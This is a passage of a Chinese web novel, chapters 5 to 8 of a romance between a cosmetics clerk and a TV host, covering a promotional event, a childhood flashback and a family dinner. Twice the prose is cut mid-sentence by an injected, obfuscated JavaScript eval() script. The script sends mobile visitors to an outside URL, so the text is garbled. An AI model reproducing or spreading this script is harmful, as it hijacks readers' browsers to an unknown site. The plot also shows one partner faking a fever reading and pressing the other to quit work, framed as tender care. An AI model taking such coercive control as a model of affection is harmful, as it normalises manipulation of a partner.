奚沧对自己的感情生活太过保密,导致成愿有时候以为“安安”是奚沧臆想出来的伴侣。 毕竟,什么事情放到这个人身上都不稀奇。 “那你干嘛不自己主持今晚的活动啊?为了避嫌?不至于吧。”成愿开始没话找话,“我看热搜撤的挺快啊,现在都已经看不到了,超话里的热帖也全没了,你操作的?” 奚沧否认,“不是。” “那是谁啊,奇了怪了……”成愿嘀咕了一句。 奚沧的手机突然闪了一下,成愿眼尖,瞄见屏幕上的信息。 是一家很难约的西餐厅的预约提醒。 “哦,原来是晚上有约啊……”成愿领悟,“跟安安呀?” 奚沧蹙眉瞪他一眼,“你别叫他安安。” 过了一会儿又说,“他晚上有事,不能吃了。” 是错觉吧,奚沧看起来还挺失落的。 成愿被他酸得倒牙,“说真的,你不会打算一辈子藏着他吧?想跟你处对象的人真不少,都打点到我这里来了,你的安安就一点也不在意?” 奚沧若有所思,“我想等时机成熟。” “我想等时机成熟~”成愿捏着嗓子学舌。 总归钱收到了,目的达成,他也有好多的事要忙,拍了下奚沧的肩膀就走。 “等一下——”奚沧叫住他,“晚上的活动,我能参加吗?” . 主持人本没有邀请嘉宾的权利,更遑论成愿还是临时过来代班,品牌方本就不大高兴。 但听到嘉宾是奚沧,品牌负责人愣了一瞬,非常识时务地答应了,还跟他确定了好几次,就是奚沧老师要来吧? 成愿其实也是一脑门子问号,不知道奚沧又发什么疯。 奚沧总是这样,突发奇想地给他安排一些任务,有时候让他去买最新出版的漫画,有时候请他远在欧洲的妹妹代购女士裙子……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730267|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最近一次是半年前,奚沧突然问他有没有美妆线下销售的门路,想帮亲戚介绍份工作。 成愿也不知道自己到底欠了他什么,要求每次都很离谱,他还每次都会照做。 “成先生,这是待会的脚本,策划老师让我打印出来给您。” 一个穿着制服的男生打断了他漫无边际的发散。 “谢谢。”成愿习惯性地看了眼男生胸前的名牌。 方唯安。 名字蛮好听。 再看其人,长得也好看,不愧是干美妆的。 方唯安继续给成愿介绍,“一会儿您从左边入场,退场也得是这个方向,商场西区开了个快闪,我们这里的设备有点不够用了……” 成愿一边听着,一边从口袋里掏出圆珠笔,在特别嘉宾的名单里添上奚沧的名字。 安顿好主持人,方唯安套上羽绒服,去商场侧门迎接嘉宾。 这次合作虽然仓促却意义深厚,品牌高层很是看重,特别选了云港最大的门店来举办发布会,还给店里的员工专门定制了活动制服。 穿过VIP通道,刚好看到三台商务车泊在门前,是《Shine in U》第一轮人气投票的Top10选手。 方唯安向他们鞠躬,说“请这边进入”,随后双手向上,撑起门前厚重的塑料挡风帘,一一问候经过他的选手。 非常遗憾的是,常里斯也在Top10之列,不过他今天和其他选手统一了着装,裤腿窄细,像个男公关。 方唯安走在他身后,一起来到后台,不经意抬起头,就看到了坐在折椅上的奚沧…… . 不对,奚沧不是今晚的主持人。 那他还来干什么,特意来探班的吗,探谁的班? 脑子动的太快,思绪就变得乱糟糟的。 方唯安将定制的姓名牌分发给来参加活动的选手,发到常里斯的,突然就找不到人了。 他下意识地看向奚沧的位置,果然就看到常里斯站在奚沧和成愿的椅子之间,笑嘻嘻地说着什么。 傻愣愣地站着,手里还握着别人的名牌,方唯安突然就什么都听不到了。 视线逐渐虚焦,熟悉的窒息感卷土重来,再缓过来神来时,是有人在拍着他的肩膀。 “嘿,嘿,你还好吗?” 成愿的脸放大怼到他眼前,方唯安吓了一跳,退出几步。 “瞧你吓得,这就开始走神儿啦?”成愿笑着,把站在自己身边的奚沧推到他前面,“快,奚老师下了节目还没来得及整理就来了,你帮他补个妆吧。” 方唯安双脚发软,“啊?” “啊什么啊,快点啊,待会活动就开始了,就当帮帮忙嘛,”成愿咂咂嘴,“哎呀,给你们互相介绍一下,这位是今天的特别嘉宾,奚沧,奚老师。” “这位是……” 奚沧打断,“我知道,方唯安。” 方唯安将头垂成鹌鹑,捏着衣角半天说不出话。 “方唯安,你是方唯安?”一直站在后面的常里斯也跳出来,硬是挤到方唯安身边,“你也是安州人吧,怪不得看你眼熟,我们还一起上过学呢!” 成愿默默念叨,“方唯安,方唯安……” 再看奚沧那直勾勾的眼神,他“哎哎哎”了几声,咬拳赞叹,“哇,这下可好玩了!” 5. 第 5 章 方唯安的童年是和母亲一起度过的,记忆里,他们的生活很殷实,他的母亲有一面墙的衣柜都用来装裙子。 细细想来,方唯安对于裙子的热爱似乎就是从母亲为他换上第一条裙子开始的。 以至于上小学,方唯安被送到家附近的一所贵族学校,第一次切切实实地和同龄人打交道,然后就被班里的男孩女孩嘲笑了个遍。 “方唯安,你为什么穿裙子?” “我为什么不能穿裙子?” “裙子是女孩子穿的,我们男孩得穿裤子,大笨蛋!” “方唯安,你上厕所的样子好像女孩,男孩都是站着尿尿的!” “你吃东西怎么那么慢啊,方唯安皮肤那么白,还总是哭,你是不是女孩啊方唯安?” 小孩子才最善恶难辨,在提倡五讲四美的校园里,恶意是隐形而巨大的。 方唯安经常弄丢书包,走错教室,吃掉变质的午餐便当,放学后“不小心”留在女厕所里睡觉…… 所以,当常里斯站在他面前,说自己和他是同学的时候,方唯安的第一感觉是恐惧。 “我跟你借过铅笔和橡皮,联考那天,你记得吗?”常里斯走过来,亲昵地扶着方唯安的胳膊。 说实话,方唯安对此没什么特别的印象。 因为有太多人问他借走东西却忘了还,等他诚惶诚恐地张口去要,通常会得到对方歉疚的笑,“不好意思,我好像给搞丢了,你自己再买一份吧。” 方唯安虽然迟钝,时间久了也就懂了。 不要随便吃同学分享的食物,不要带喜欢的东西去学校,书包深处永远多存一支铅笔,如果有同学说自己没吃饭,要识相地尽快把自己的零用钱交给他。 尽管如此,尽管如此…… 常里斯大概只是参与了这些习惯的其中一位,方唯安为什么要记得? “我……”方唯安语塞,实在不知道该说什么,难道要他跟常里斯两眼泪汪汪地相认吗? “方唯安,”奚沧抓住他的另一只手臂,“先给我补妆吧,快一点。” 成愿将他推向奚沧,笑容暧昧,“快点儿啊,待会活动就开始了。” 奚沧反客为主地把方唯安拉到不远处的小化妆台前,晃晃他的肩膀,“方唯安,你还好吗?” 活动即将开始,后台乱作一团,好多人从他们身边匆匆经过,落下几道打量的视线。 方唯安一向对这些事情很迟钝,此刻却觉得心头有很重的东西压着,压得他快要喘不上气。 很久之后,他的眼睛才很慢很慢地眨了几下,回答奚沧:“嗯。” “到底怎么了?”奚沧偏着头看他。 那个瞬间,方唯安发觉奚沧的眼神也很沉重,生生要将他看透一样。 “网上的……”他混混沌沌地思索着,口齿温吞,“那些照片,我看到了。” “合成的。”奚沧的眼里闪过一丝不屑,又问方唯安,“你信了?” “……没有。”方唯安眼神躲闪。 奚沧侧了侧身,将方唯安夹在自己和化妆台之间,一把捏上他的脸颊,“说实话。” 方唯安眉头紧蹙,疼得抽了一口气,大半意识总算从泥沼中挣脱,转而专注到眼前的麻烦上来。 他抓着奚沧的手,终于坦白,“我不知道……” “不知道你不会问吗?”奚沧松开手,眉眼凝着愠怒,“知道给我拍制服,不知道问问我照片是怎么回事?” 亏我等了你一天。 可是,总归是问了,问了就代表方唯安在意。 这么想着,奚沧的心情又舒缓了很多,看向方唯安,“你干嘛呢?” 拿着散粉的手一顿,方唯安不明所以地望过来,从腰间的便携化妆包里掏出中号化妆刷,“给你补妆啊。” 白白净净一张脸,被人捏红了一块,像一滴朱红的浓墨在宣纸上晕开,莫名其妙得有些色..情。 奚沧重重合上眼皮,“补吧。” . 方唯安在奚沧的脸上扑了层柔焦散粉,又掏出眉笔,帮他改了一下眉形,刻意弱化了他的眉峰,整个人看上去就温柔许多。 “奚沧……”过了会儿,方唯安声音很小地唤他。 奚沧的眼睛还闭着,“嗯?” “你生气了吗?” “你说呢?” “没,没有吧……”奚沧坐在椅子上,方唯安站在他侧方,用膝盖若即若离地碰他的大腿,“我今天本来分到一套女仆制服,但我没有穿。” 手心都出汗了,面上仍是镇定,奚沧果真当得起一句优秀主持人。 “为什么不穿?”他明知故问。 “不想穿,”方唯安在手指上蹭了点染唇液,轻轻触在奚沧的嘴唇上,“不喜欢给别人看。” 奚沧睁开眼,他的瞳色很深,偶然对视都像撞进茫茫深夜。 此刻,暗夜里升起一点光芒,是他掩饰不住的惊喜。 “那喜欢给我看?”奚沧勾起唇角。 方唯安又往手指上蹭了些染唇液,奚沧眼睁睁看着他的指尖降落在自己的嘴唇上。 “嗯——”下一秒,方唯安的眼睛猛地睁大。 趁他分神,奚沧竟然张嘴含住了他的手指,滑溜溜的舌尖绕着他细嫩敏感的皮肉转了一圈。 头脑瞬间炸开,贯彻一片轰鸣,方唯安此刻显得很呆,嘴巴张了张,磕磕绊绊地问:“干什么啊……” 奚沧轻轻咬着他的指根,方唯安觉得半边身子都麻了,许久才终于抽出手,攥紧了放在身后。 “奖励。” 奚沧站起来,系上西装纽扣,“奖励安安只把女仆装穿给我看。” 活动已经开始,成愿在台上致辞,人气选手一个个被邀请上台。 奚沧走到台阶边等待,站在他前方的是常里斯,丢了魂儿似的看着他,“奚,奚哥。” 奚沧略过他,盯着眼前的虚空,“嗯。” “那个,我刚刚好像看到了……” 奚沧眼神一凌,“看到什么了?” “啊?没,没看到什么……”常里斯晃了晃头,“我看错了。” . 发布会进行得还算顺利。 节目才刚播了一期,选手的人气还没积累起来,粉丝在台下喊得也力不从心。 方唯安站在一边略略点了点,来看奚沧的人要比来看这些选手的都多。 早上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730268|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才曝出亲密合照,晚上两位正主就同了台,现场聚集了不少前来一探究竟的媒体。 回答粉丝提问的环节,话筒不知怎么就到了记者的手上,针对这件事对奚沧进行三连问。 奚沧一一澄清了那些捕风捉影的传言,最后无奈地表示,如果这件事情持续发酵,很有可能会对常里斯的个人发展造成影响,这对一个初出茅庐的孩子来说很不公平,所以在考虑请辞《Shine in U》的主持人了。 此话一出,现场一片哗然,成愿急忙站出来打圆场。 就连方唯安都觉得震惊,这么严重的吗? “……这么严重的吗?”活动结束后的商场天台,成愿分给奚沧一支细烟。 犹豫片刻,奚沧接过烟,叼在嘴里,凑过去讨了个火。 丝缕的白烟从唇间溢出,将他的眉宇染了层落寞,混入慢慢飘落的夜雪里。 “不搞这么严重,一场节目下来,他们得给我配出个后宫来。”奚沧轻蔑地笑。 “哎呀,明眼人肯定能看出来都是炒作的嘛,毕竟现在这些选手里自带人气的不多……”成愿随后燃起了烟。 综艺的老套路了,特意选了张合成的照片也是在给未来解绑留余地,既能帮籍籍无名的选手快速增加热度,又能带动现有IP的讨论度,一箭双雕。 奚沧的反应如此激烈,也是在给吸他血的电视台递话,失去他的负面影响要比做出一个榜上无名的节目大得多。 雪越下越大,成愿冻得受不了,灭了烟打算回家。 “你不走啊?”成愿问。 奚沧仰着头,看着漫天大雪若有所思,“我等方唯安下班。” 成愿笑了下,“行吧,反正今天这趟也不算白来,至少见到安安了。” 奚沧又笑,幸福得无可奈何,“快走吧你。” “那我先走啦,”成愿捶了一下奚沧的肩膀,对方身体打晃,脸上还是笑着的,“改天给我讲讲你和方唯安怎么认识的。他看着比你小得多吧,你别告诉我你搞未成年啊!” 长腿一蹬,只蹬到流窜而逃的人的裤脚,奚沧诽了他两句,转过脸,仰起头,眼神瞬间暗了下来。 “你好,你现在最好不要进去……”方唯安穿着一条浅粉色的长裙,妹妹头,细细的手指握在他的手臂上。 那年奚沧16岁,背上背着画板,手里拎着两袋子画具,因为迟到了十分钟而吃了绘画名家的闭门羹。 “你渴不渴呀,跟我来吧。”方唯安松开他的胳膊,施施然往走廊深处走。 奚沧鬼使神差地跟上。 他们来到走廊尽头的房间,窗外是葡萄架,漏下的阳光驳进室内地面,好像打翻一盘碎钻。 方唯安从冰箱里取出两听苏打水,在杯子里加了青葡萄果酱,混在一起搅动几下。 “给你。”他分了一杯给奚沧。 两人一起仰头咕嘟咕嘟喝下,一起忍耐,一起憋不住打了两个嗝,一起笑出声。 指间的烟默默燃烬,雪落在奚沧的睫毛上,融化成水滴进他的眼睛。 这样美好的记忆,方唯安从不愿意陪他一起回想,为什么? 那个时候的方唯安,到底在不开心什么? 6. 第 6 章 媒体活动结束后即是由选手反串的“女仆咖啡厅”环节,身为员工的方唯安也不得不跟着加班。 不过他今晚的活儿做得心不在焉,好几次走神,一柜子口红翻来覆去数了三遍。 他心里着急,奚沧还在等他呢。 让奚沧等得太久,肯定又要挨训。一想到这个,方唯安就脑子发懵。 奚沧对他每天兢兢业业地上班打卡给别人化妆的事情很不理解,这晚更是一连给方唯安发了好几条信息,催促他赶快下班。 副店长在他身后停了几次,方唯安都没发现,蹲在柜子前面冷汗直流。 最后还是杰妮芙看不下去了,塞给他一串流水单,小声说:“把这些送去柜台给Leo对账,我帮你点货。” 道了谢,方唯安抱着单子去往商场西区,路上终于有时间看手机。 奚沧:【到底还要等多久?】 方唯安回了一个“小猫哭哭”的表情,他本人更是欲哭无泪,他也不知道啊! 奚沧那头没动静了,方唯安又翻出来了一个两只胖乎乎的海豹挤在一起贴贴的表情,祈祷对方能够放他一马。 手心震了一下,方唯安退出对话框,是店长在找他。 Leo齐:【唯安,今晚有空和我聊聊吗?】 方唯安早已走进西区,已经能看到Leo的背影了,看到信息便犯难地停下脚步。 早不聊晚不聊,偏偏要在奚沧等他的时候聊,下了班再聊聊天,结束了得几点? 方唯安不敢想届时奚沧的脸会有多臭。 更何况这个人对一切接近他的人都特别提防,能同意自己出来工作已经算是很大的让步了。 可是,拒绝总得有个说辞,方唯安一辈子没撒过几次谎,碰上这种情况,根本不知道该说什么。 握着手机,他开始慢吞吞往专柜的方向移动,手里的流水单松松散散,发出细小的脆响。 逐渐接近,Leo正低头专注看着自己手里的东西,一只手托着,另一只手放在上面,十分爱惜地摩挲。 方唯安对这种爱惜物品的心情深有同感,每次得到了喜欢的裙子,他也得捧在手里摸来摸去好半天,然后才沐浴更衣,怀抱虔诚的心理,欢天喜地地换上。 几步之遥外,他发现Leo手里的东西还真是件衣服,黑白颜色,很像今天分给他们的制服。 还是女士制服。 听到窸窣声,Leo回过头来。他们视线相撞,Leo的眼神却刻意瞥开,尴尬地笑了两声,“刚发完信息你就来了?” “我来送这个。”方唯安晃了晃胳膊,纸页簌簌地响。 待他走近,Leo已经抄起垫板盖在了衣服上,神色如常,“现场的人还多吗?” “还有一些,不过在收尾了。” “好的,”Leo拉开表单,找出最初项,开始逐一核对,一边说,“唯安,今天怎么没穿分给你的制服呢?” 方唯安不疑有他,“我收到的是套女仆装,是谁搞错了吧。” “这样啊,”Leo瞥他一眼,露出意味深长的笑,“如果我说,没搞错呢?” 哗啦—— 凌落声突兀炸响,方唯安和Leo一起望向声音的源头,店里的口红展架倒了。 始作俑者戴着墨镜和口罩,尴尬地举起双手,连连道歉,“我就碰了一下,没想到……不好意思,多少钱我赔给你们吧。” “怎么回事啊?”Leo绕过那一地狼藉,走到柜台边查看,凑近时又猛地停住,试探道,“奚先生吗?” “是我,”奚沧拉下口罩,“抱歉,我想过来了解一下产品,添麻烦了。” 确认身份,是得罪不起的人。Leo释然一笑,“怎么会呢,大概是今天店里忙,进出的人多,来来去去的就把架子碰散了。” 奚沧坚持要赔,Leo百般推辞,最后两人各退一步,奚沧决定搭配一套彩妆礼盒,过几日送给自己的母亲。 Leo总算安心,招招手叫来方唯安,将这项工作交代给他。 . 展架需要专人来修,帮奚沧结完账后,店里就没什么事了。Leo状态不佳,似乎忘了要和方唯安单独聊聊的事,直接放他下班。 方唯安换了衣服,走出商场,奚沧的车就停在路边。 刚坐进副驾,就见奚沧就阴着脸,方唯安头皮发紧,假模假样地伸了个懒腰,岔开话题,“雪下的好大啊!” 奚沧仍旧脸色很臭,“把安全带系好。” 下一秒,就听方唯安的肚子开始咕噜噜地叫。 奚沧一哂,“你们那个店长该不会连晚饭都没让你吃吧?” 那也是没有办法的啊,方唯安想。 今天好歹还有午饭时间,平时碰上大促活动,一天下来都未必有时间吃饭。 可是这些事情奚沧没必要知道,方唯安沉默着,乖乖扣紧安全带。 车辆启动,汇入茫茫车流,下雪天交通不便,他们的行进速度很慢。 不久,前方开始堵车了,鸣笛声占据整条街道,和车内方唯安饥肠辘辘的声音形成交响。 累死累活才赚那么几个钱,又不知道保护自己,连别人安得什么心思都看不出来…… 奚沧不耐地按了几下喇叭,趁机发泄心头郁结。 “辞职吧,你要是喜欢那些东西,可以买回家自己玩。”奚沧打破沉默。 “那不一样。”方唯安较真地看着奚沧,同时肚子又响了一声—— 真恨不得把整个肚皮割下来丢出去,没用的东西! “有什么不一样?”奚沧也转而看着他,“至少你不用饿着肚子,也不用一直加班,让我等着你。” 方唯安抠了抠脸,“我也可以自己坐地铁回家。” 沉默两秒,奚沧的声音彻底沉下来,说:“方唯安……” 三个字狠狠敲在心头,方唯安本能地意识到危险,彻底噤声,缩着脖子坐着。 前方的车流终于开始移动,出了商业区之后,行进速度就快了许多。 方唯安默默呼出一口气,本来以为终于给他蒙混过关了,谁曾想回到家煮好饭,奚沧又说起要他辞职的事。 “为什么非得辞职啊?”方唯安快崩溃了。 每天跟自己喜欢的东西打交道,不是很快乐的事吗? 奚沧沉默了一阵,问他:“你觉得你的店长怎么样?” “店长?”方唯安一头雾水,“他人很好啊。” “他平常有没有特别照顾你,对你跟其他人不一样?” 方唯安端着碗,傻愣愣地想了一阵,“我不知道啊……” 奚沧忍无可忍,“方唯安,我今天看到他 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然而,怀抱里的方唯安有了其他的打算,只是他已然睡熟,两只手捏着奚沧的睡衣,脑袋埋在奚沧的怀里。 梦里有个人人都穿着裙子的国度,他是这个国家的裙裙国王,每天一睁眼就有漂亮裙子穿。 没有人对他指指点点,那个国度人人平等,人人友善。 奚沧是他的王后,每天早上,他都会亲手采摘一大捧玫瑰,放在奚沧王后的脚边。 然而这一晚,当他怀抱一颗赤诚的心放下玫瑰时,奚沧王后只是瞥了一眼,嘴里飘出轻飘飘的两个字。 “骗子——” 方唯安被吓醒,伸手擦掉额角的汗。 奚沧坐在他床边看着他,目光沉甸甸的。 “方唯安,你还好吗? ” 只是一场噩梦,方唯安安慰自己,只是一场噩梦。 “怎么这么多汗?”奚沧抚上他的额头,关切道,“不会发烧了吧?” 方唯安震惊,“我还得去上班呢!” “还要去上班?”奚沧面色一沉,“你不辞职吗?” “我不想的。”方唯安苦恼道。 奚沧没说什么,从床头柜里取出一支电子体温计,让方唯安夹在腋下。 三分钟后,奚沧来拿体温剂,不小心手抖,将体温计摔在地上。 他捡起来,取读上面的数字,“方唯安,你生病了,你烧到43度了!” 闻言,方唯安脸都白了,没见过有人能烧到这个温度。 奚沧抱着手臂,不容置疑道:“唉,偏偏你还是做服务业的,不小心传染给客户的话,你该怎么跟你的店长交代?” 方唯安摸了摸自己的额头,并没有觉得很烫手,奚沧说那是他手心的温度也很高的原因,说明他病得很严重了。 “没有办法了,你只能请假了方唯安。”奚沧爱莫能助,抓起方唯安的手机,“我帮你发信息给你店长。” 都烧成这个样子了也只能好好休养,争取尽快恢复了吧。 过了一会儿,方唯安真的感觉头有点疼,病恹恹躺回床里,“谢谢你啊,奚沧。” 7. 第 7 章 方唯安在床上躺了三天,体温稳定在43度,一直没降下来。 第四天上午,他躺得浑身难受,打开窗偷偷透气,结果躺在沙发上没一会儿就睡着了。 醒来已是黄昏,太阳将整个客厅照成了很梦幻的橘粉色。方唯安一连打了三个喷嚏,之后开始浑身酸软,眼睛又酸又涨,不停地流泪。 奚沧带着打包的餐点回家,见方唯安躺在床里昏睡,用冰凉的手掌覆盖他的额头。 “嗯……”方唯安难受得动了动。 “怎么这么烫?”察觉出异样,奚沧搓了搓手,又盖了上去,“方唯安,你是不是生病了?” “我不是一直都在生病吗?”方唯安的脸颊烧得通红,口干舌燥,不知不觉就睡着了。 再次醒来,是奚沧将一支水银温度计夹在他腋下。 方唯安实在是纳闷,“我都休息了这么多天了,感冒怎么一直不好啊?” 不仅没变好,怎么还越来越难受了呢? 奚沧沉声跟他道歉,方唯安并不明白是因为什么。 后来奚沧把他的衣服脱了,给他擦洗身体,一口一口喂他吃下清粥,又给他吃药。 温柔熨帖的样子,让他着实着迷。 方唯安决定不去计较了,就享受当下。 说实话,他也确实想不了太多。他的身体一阵热一阵冷,嗓子也干得发痛,浑身像被人胖揍一顿那样疼。 之后三天,他都是这样朦朦胧胧地度过的。 他记得家庭医生来看过他,记得自己输过液,记得由奚沧喂下的一日三餐。 意识昏昏沉沉的时候,他记得自己哭了,奚沧抱着他。 那个怀抱特别踏实,也特别温暖。 方唯安觉得一直这么病着也不错。 第七日,方唯安睡醒,突然觉得耳聪目明,恢复了对于这个世界的感知。 推开房门,奚沧刚煮好粥,看到他后笑了笑,问他感觉怎么样。 “方唯安,你身体这么差,八成是工作累的。” “人一劳累,免疫力就会很低……” “你每次都请假这么长时间,对其他同事来说很不公平。” “万一你的感冒没好透,又传染给其他顾客怎么办?” 虽然不想接受,可事实大概就是如此。这份工作确实很累,如果自己总是生病的话,就总得叫同事来替班,他确实会良心不安。 早饭后,方唯安总算恹恹地答应奚沧,今天就跟店长辞职,之后就待在家里,好好休养身体。 奚沧脚步轻快地去上班了。 . 奚沧走后,方唯安看了由他代为编辑的请假信息。 奚沧直接给他请了一个礼拜的假,复工日期刚好就在今天。 方唯安思考了两秒,奚沧怎么知道自己要一个礼拜才能痊愈? 随后瞥了眼时间,留给他收拾的时间不多了,方唯安丢下手机,连忙跑进浴室…… 到了店里才知道,近期气温骤然下降,云港一类的沿海城市开始爆发大规模的流感病例。 不仅方唯安中了招,店里的很多员工,包括杰妮芙和阿静也都被流感折磨得死去活来,纷纷告假。 相比于往年,商场客的流量骤减,各家各户都是一副愁云惨淡的模样。 方唯安进了店,里面只有Leo一个人守着,见他来满脸惊讶,“我以为你要续假来着……” 虽然只服务于单个品牌,但他们的劳动合同是跟商场签的,没有违约金,补偿款也并不高昂。 所以每次有什么突发事件,都有几个员工悄无声息地消失,再无音讯。 方唯安在商场工作了半年,也大概摸清了这个规律。 品尝过失落,所以更不可能无声无息地离开,即使是来提交辞呈的,他也希望这个过程尽量真诚。 这是他的第一份工作,第一次凭自己的能力赚钱,他很感恩,也很不舍。 Leo抓了抓他的肩膀,“你能来真的太好了,唯安,你来的正是时候!” 方唯安被他夸得飘飘然,换上制服,比平时更卖力地擦桌扫地,一秒都不想闲着。 午休时,Leo找到他,讳莫如深的样子仿佛给了他天大的便宜。 “就我们品牌赞助的那档选秀节目的化妆师病倒了,没人给选手化妆,总部就调了几个有经验的化妆师去。我本来不想带你,但是大家都病了一圈,最后被你捡漏了!” Leo语重心长,“你一定要好好表现,多看多听多问,不要擅自行事,不要让你个人的过错影响整个品牌的名誉,知道吗?” 方唯安张了张嘴,Leo又说,“你还挺有福气的嘛,别人打破头争取的机会,就这么给你了,你真应该找个庙拜拜。” “谢谢店长……” 都说了机会千载难逢,他只好将辞呈抛之脑后。 下午,新订的口红展架到了,擦完了灰,方唯安对照着色谱,将口红一支一支摆进展上去。 这天的工作强度不算高,大病初愈的方唯安也完全应付得来,继而思考自己是不是非得辞职。 明明干得挺开心的。 “方唯安。” 一团黑影从对面罩在口红架上,方唯安登时有种大难临头的预感。 果然,抬起头来,奚佑正站在他对面。 “……你来干什么?” “买东西啊, ”奚佑将他刚摆好的口红拿下来,随意抓了一张化妆棉乱蹭,“方唯安,你喜欢这些东西啊?” “你别闹了。”方唯安有些心疼自己的劳动成果,“别把色号给我弄混了。” 听到这话,奚佑更来劲了,一连拿下好几支口红放在货架上, “我是顾客啊,不看看颜色我怎么买啊?” “我把试色卡给你拿过来。”方唯安七手八脚地将奚佑弄乱地口红重新归位,不知不觉语调也变了,委屈又哀婉。 好像他做了多么伤天害理的事情一样。 奚佑冷哼,随手抓起一支口红,“我又不白试,你给我推荐一支口红吧,给50多岁的女性,性格很温柔那种。” 方唯安想了想,从架子上抽出一支口红,“那看看610吧……” 610是裸棕色,带些许橘调,很适合亚洲人的肤色。 奚佑听方唯安讲解 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“可是,我爸妈这次是特意为了你的事来的,你好意思不见他们吗?”奚佑转着包装袋的绳子,“你在我哥家里生活了四年了,我爸妈大老远从安州过来,你一次都没见他们,是不是有点没礼貌啊?” 那是挺没礼貌的。 方唯安心想,于情于理,他都得跟奚沧父母道个谢才是。 谢谢他们培养出这么善良的孩子,虽然他们之后的作品不那么可爱。 方唯安犹豫着,奚佑抬脚便走,留下一句:“晚上七点啊,我爸最讨厌别人迟到了。” . 下了班,奚沧先去排队买了妈妈爱吃的点心,又去商场给爸爸和弟弟搭配高尔夫球服,拎着大包小包来到约定地点。 刚停稳车,就见奚佑跑到车头,卖力给他挥挥手,叫他:“哥!” 阴云略过心头,奚沧决定今晚暂时不同这小子计较,按开后备箱,“过来拿东西。” “好嘞!”奚佑大声回复,他对奚沧的指令一向是言听计从。 兄弟俩拎着东西进了餐厅,服务生帮他们推开包厢门,二老已经到了。 “小佑,你都瘦了!”妈妈的语气嗔怪又心疼,爸爸也从座位上站起来,抢过奚佑手里的东西,“你那点生活费够干什么的啊,每次都给我们买这么贵重的礼物。” 奚沧被父母大呼小叫的声音隔绝在外,默默将手里的袋子放到包厢一角,随便找了座位坐下。 “来,小佑,坐到爸爸妈妈中间来,跟我们讲讲你的大学生活!”妈妈亲昵地按着奚佑坐下,帮他擦擦餐具。 奚沧悄声招呼服务员还需要一套餐具,随后便保持缄默,微笑看着对面其乐融融的景象。 不知道是多少次了,他早就习惯了。 “不好意思,我来晚了,路上有点堵车……” 声音很熟悉,软而不娇,可爱而不张扬。 奚沧回过头,只见方唯安衬衣配西裤,妹妹头也收拾得清清爽爽,手里拎着蛮贵的保养品的袋子,“阿姨叔叔,叨扰奚哥这么久了,第一次跟你们见面。这是一点薄礼,请二位笑纳。” 屋里的人俱是一惊,奚佑回神,支吾道:“啊不是,你,你怎么就来了?” 8. 第 8 章 长大后才知道,一个人对自身酿下的最大的恶果,就是对无望的事情抱有期待。 观察着弟弟的表情,奚沧悲凉地想。 “不是你叫我来的吗?”方唯安杵在门口,一脸无辜,“你说叔叔阿姨想见我……” “我,我那是,”奚沧啧了一声,不耐烦道,“我那是客套话而已,谁知道你会当真!” 方唯安露出费解的表情,真的会有人把客套话讲得那么郑重其事吗? “小帅哥,你是小佑的朋友吗?”奚沧的妈妈友善地笑了笑,“一起坐下吃点呗。” “妈——”奚沧奚佑同时出声,彼此对看。 奚佑在哥哥的眼神里读到了指责,默默打了个冷颤,嘴角好像也隐隐作痛。 哥哥对那个娘炮的保护可见一斑,奚佑吊着一口气,竭尽所能地维持体面,“爸妈,这是方唯安,他在哥家借住。我今天去给妈买礼物的时候看到他了,就想着叫他一起来蹭个饭。” 奚父扶了扶眼镜框,“方…唯安,你还住在奚沧那里啊?” 这么多年了,儿子对这个房客只字不提,于是他们两口子早就默认方唯安已经搬走。 沉默许久的奚沧也终于开口,他垂着头,声音沉甸甸的,“方唯安,你可以先回去……” 方唯安愣了一瞬,不知怎么,他后背一凉,直觉奚沧并不想让自己离开。 “人家都来了,哪有就这么赶人离开的道理啊!”奚母嗔了奚沧一眼,又冲方唯安笑笑,“是吧小方?一起吃个晚饭嘛,随便坐吧。” 这个时候倒是很大方。 奚沧站起来,拉开椅背让方唯安坐下,不禁又瞥了眼对面那一家三口。 其乐融融的样子,哪怕对面坐了一百个陌生人都无所谓。 奚母给小儿子烫了杯子,奚父接过热毛巾,先递给小儿子擦手,关切地问:“我们突然过来,没有耽误你上课吧?” “我才大一啦,不是很忙,”奚佑笑着说,突然掀起眼皮,看向方唯安,“爸妈,你们都不知道,我哥跟方唯安的关系可好了,对他比对我都好。” “怎么会呢!”奚母爱惜地摸摸儿子的脑袋,“你哥哥还能不想着你吗?” 老两口一齐朝着方唯安看过来,方唯安正专心致志地擦手,热毛巾烫得他的手背微红。 给人感觉很娇气。 “奚佑!”奚沧扶额,“你不要乱告状。” 奚佑趁势躲进老爸身后,“哥,你偏心眼,你不喜欢我了!” 奚沧实在没招,很无奈地叹了一声,倒是奚父笑呵呵地打圆场,“都长这么大了,还不忘跟家里人撒娇,不像话!” 说着,又看了方唯安一眼。 对方仍沉迷擦手,指尖被染色唇彩染成了红色,他拧着眉头,固执地一直蹭。 咚咚—— 服务生敲门,传菜员排成一列,在餐桌上留下可口的餐点。 待他们离开,奚父看向对面,“小方,你外公外婆还好吗?” 方唯安还在擦手,奚沧用胳膊肘怼怼他,他才倏然惊醒,“外公他们……应该挺好的吧,他们出国了。” 奚父跟方唯安的外公交好,两人曾任职于同一司法部门,方唯安的外公曾是他的领导。 后来奚沧想考美术专业,奚父便请已经退休的领导吃了顿饭。 说起来,奚沧能成为沈清献的弟子,看的还是老领导的面子。 